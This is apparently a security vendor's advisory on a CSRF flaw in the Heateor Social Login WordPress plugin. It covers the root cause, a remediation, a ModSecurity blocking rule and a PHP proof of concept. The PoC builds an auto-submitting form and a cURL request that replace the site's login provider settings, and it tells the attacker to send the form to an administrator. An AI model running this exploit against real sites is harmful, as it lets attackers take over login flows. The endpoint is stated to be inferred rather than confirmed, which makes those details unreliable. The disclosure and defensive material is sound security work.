Atomic Edge analysis of CVE-2026-57751 (metadata-based):
Heateor Social Login WordPress <= 1.1.39 contains a Cross-Site Request Forgery (CSRF) vulnerability. An unauthenticated attacker can trick a site administrator into performing an unauthorized action via a forged request. The CVSS v3.1 score is 4.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N).
Root Cause: The description confirms missing or incorrect nonce validation on a function. Nonces in WordPress are security tokens that protect against CSRF by ensuring requests originate from the intended user. Without a nonce check, the vulnerable function accepts any crafted request, regardless of origin. This is inferred from the CWE-352 classification and description, as no code diff is available.
Exploitation: The attack exploits an AJAX handler or admin-post action registered by the plugin. Common pattern: `/wp-admin/admin-ajax.php?action=heateor_social_login_[function]` or `/wp-admin/admin-post.php?action=heateor_social_login_[function]`. The attacker crafts a CSRF form or link that triggers the action when a logged-in administrator clicks it. The attacker does not need authentication.
Remediation: The fix requires adding a nonce check to every function that performs state-changing operations. Use `check_ajax_referer()` or `wp_verify_nonce()`. The function should call `check_ajax_referer( 'heateor_social_login_nonce', 'nonce' )` before processing the request. If nonce validation fails, the function must return early with an error.
Impact: Successful exploitation allows an attacker to perform unauthorized actions as an administrator. The CVSS indicates low integrity impact (no confidentiality or availability impact). Possible actions include changing social login settings, hijacking login flows, or modifying provider configurations. Atomic Edge research classifies this as a moderate-severity CSRF vulnerability.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57751 (metadata-based)
# Blocks CSRF exploit against Heateor Social Login via admin-post.php
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57751 CSRF attack via admin-post.php',severity:'CRITICAL',tag:'CVE-2026-57751'"
SecRule ARGS_POST:action "@rx ^heateor_social_login_" "chain"
SecRule REQUEST_METHOD "@streq POST" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57751 - Heateor Social Login WordPress <= 1.1.39 - Cross-Site Request Forgery
// This PoC assumes the vulnerable action is 'heateor_social_login_update_options'
// which may be accessed via wp-admin/admin-post.php or admin-ajax.php.
// The action is not confirmed from source code; this is an inferred endpoint based on plugin slug.
$target_url = 'https://example.com'; // Change to vulnerable WordPress site
// Craft the CSRF payload (HTML form auto-submit)
$csrf_html = '<html><body>
<form action="' . $target_url . '/wp-admin/admin-post.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="heateor_social_login_update_options">
<input type="hidden" name="provider" value="evil_provider">
<input type="hidden" name="app_id" value="malicious_id">
<input type="hidden" name="app_secret" value="malicious_secret">
</form>
<script>document.getElementById("csrf_form").submit();</script>
</body></html>';
// Write HTML to a file for the attacker to host or email
file_put_contents('csrf_payload.html', $csrf_html);
echo "[+] CSRF payload written to csrf_payload.htmln";
echo "[+] Send this HTML file to a logged-in administrator.n";
// Alternatively, a direct cURL request (if admin already logged in)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'action' => 'heateor_social_login_update_options',
'provider' => 'evil_provider',
'app_id' => 'malicious_id',
'app_secret' => 'malicious_secret'
]);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxx=admin_session'); // Must be valid admin session
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
if ($response !== false) {
echo "[+] Request sent. Check target for unintended changes.n";
} else {
echo "[!] cURL error.n";
}
